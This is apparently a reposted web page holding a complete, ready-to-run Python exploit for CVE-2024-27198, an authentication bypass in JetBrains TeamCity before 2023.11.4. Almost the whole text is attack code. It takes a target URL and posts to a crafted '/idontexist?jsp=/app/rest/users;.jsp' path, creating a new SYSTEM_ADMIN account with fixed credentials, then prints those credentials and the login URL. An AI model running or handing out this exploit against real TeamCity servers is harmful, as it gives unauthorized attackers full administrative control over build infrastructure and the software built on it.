JetBrains TeamCity 2023.11.4 – Authentication Bypass


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
# Date: 2024-02-21
# Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: < 2023.11.4
# CVE: CVE-2024-27198
# CVSS Score: 9.8 (Critical)
# Description:
# JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass
# vulnerability that allows unauthenticated attackers to perform administrative actions.
# The vulnerability leverages a path traversal-like technique in the JSP handling
# mechanism combined with REST API endpoints to bypass authentication.
# Requirements: requests>=2.25.1
"""

import requests
import argparse
import sys
import json
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

banner = f"""{Colors.CYAN}
 ████████╗███████╗ █████╗ ███╗   ███╗ ██████╗██╗████████╗██╗   ██╗
 ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝
    ██║   █████╗  ███████║██╔████╔██║██║     ██║   ██║    ╚████╔╝ 
    ██║   ██╔══╝  ██╔══██║██║╚██╔╝██║██║     ██║   ██║     ╚██╔╝  
    ██║   ███████╗██║  ██║██║ ╚═╝ ██║╚██████╗██║   ██║      ██║   
    ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝╚═╝   ╚═╝      ╚═╝   
{Colors.END}
{Colors.BOLD}{Colors.RED}    TeamCity Authentication Bypass (CVE-2024-27198){Colors.END}
{Colors.YELLOW}                Author: ibrahimsql{Colors.END}
"""

parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)")
parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)")
parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
args = parser.parse_args()

class TeamCityExploit:
    def __init__(self, target_url, timeout=15, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        
    def _log(self, message, level="info"):
        if level == "success":
            print(f"{Colors.GREEN}[+] {message}{Colors.END}")
        elif level == "error":
            print(f"{Colors.RED}[-] {message}{Colors.END}")
        elif level == "warning":
            print(f"{Colors.YELLOW}[!] {message}{Colors.END}")
        elif level == "info":
            print(f"{Colors.BLUE}[*] {message}{Colors.END}")
        elif level == "verbose" and self.verbose:
            print(f"[DEBUG] {message}")
            
    def check_target_reachability(self):
        try:
            self._log(f"Checking target: {self.target_url}")
            response = self.session.get(self.target_url, verify=False, timeout=self.timeout)
            
            if response.status_code in [200, 302, 401, 403]:
                self._log("Target is reachable", "success")
                return True
            else:
                self._log(f"Unexpected status: {response.status_code}", "error")
                return False
                
        except requests.exceptions.Timeout:
            self._log("Connection timeout", "error")
            return False
        except requests.exceptions.ConnectionError:
            self._log("Connection error", "error")
            return False
        except Exception as e:
            self._log(f"Error: {str(e)}", "error")
            return False
    
    def exploit_authentication_bypass(self):
        exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
        full_url = f"{self.target_url}{exploit_path}"
        
        self._log(f"Targeting: {full_url}")
        
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Accept": "application/json, text/plain, */*"
        }
        
        payload = {
            "username": "ibrahimsql",
            "password": "ibrahimsql",
            "email": "ibrahimsql@exploit.local",
            "roles": {
                "role": [{
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }]
            }
        }
        
        self._log(f"Payload: {json.dumps(payload)}", "verbose")
    
        try:
            self._log("Attempting authentication bypass...")
            
            response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
            
            self._log(f"Status: {response.status_code}", "verbose")
            self._log(f"Response: {response.text[:200]}", "verbose")
            
            if response.status_code == 200:
                self._log("Exploit successful!", "success")
                
                print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}")
                print(f"{Colors.CYAN}{'='*50}{Colors.END}")
                print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql")
                print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql")
                print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html")
                print(f"{Colors.CYAN}{'='*50}{Colors.END}")
                
                return True
                
            elif response.status_code == 401:
                self._log("Authentication required - target may be patched", "error")
                return False
            elif response.status_code == 404:
                self._log("Endpoint not found - target may be patched", "error")
                return False
            elif response.status_code == 403:
                self._log("Access forbidden", "error")
                return False
            else:
                self._log(f"Unexpected status: {response.status_code}", "error")
                return False
                
        except requests.exceptions.Timeout:
            self._log("Request timeout", "error")
            return False
        except requests.exceptions.ConnectionError:
            self._log("Connection error", "error")
            return False
        except Exception as e:
            self._log(f"Error: {str(e)}", "error")
            return False

def validate_url(url):
    try:
        parsed = urlparse(url)
        if not parsed.scheme:
            url = f"http://{url}"
            parsed = urlparse(url)
        
        if parsed.scheme not in ['http', 'https']:
            raise ValueError("URL must use HTTP or HTTPS")
            
        if not parsed.netloc:
            raise ValueError("Invalid URL format")
            
        return url
    except Exception as e:
        raise ValueError(f"Invalid URL: {str(e)}")

def main():
    print(banner)
    
    try:
        target_url = validate_url(args.url)
        
        print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}")
        print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql")
        print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}")
        print(f"{Colors.CYAN}{'='*45}{Colors.END}\n")
        
        exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose)
        
        if not exploit.check_target_reachability():
            exploit._log("Cannot reach target", "error")
            sys.exit(1)
        
        success = exploit.exploit_authentication_bypass()
        
        if success:
            exploit._log("Exploit completed!", "success")
            sys.exit(0)
        else:
            exploit._log("Exploit failed", "error")
            sys.exit(1)
            
    except ValueError as e:
        print(f"{Colors.RED}[-] {str(e)}{Colors.END}")
        sys.exit(1)
    except KeyboardInterrupt:
        print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}")
        sys.exit(1)
    except Exception as e:
        print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
        sys.exit(1)

if __name__ == "__main__":
    main()
            



Source link

Leave a Reply

Your email address will not be published. Required fields are marked *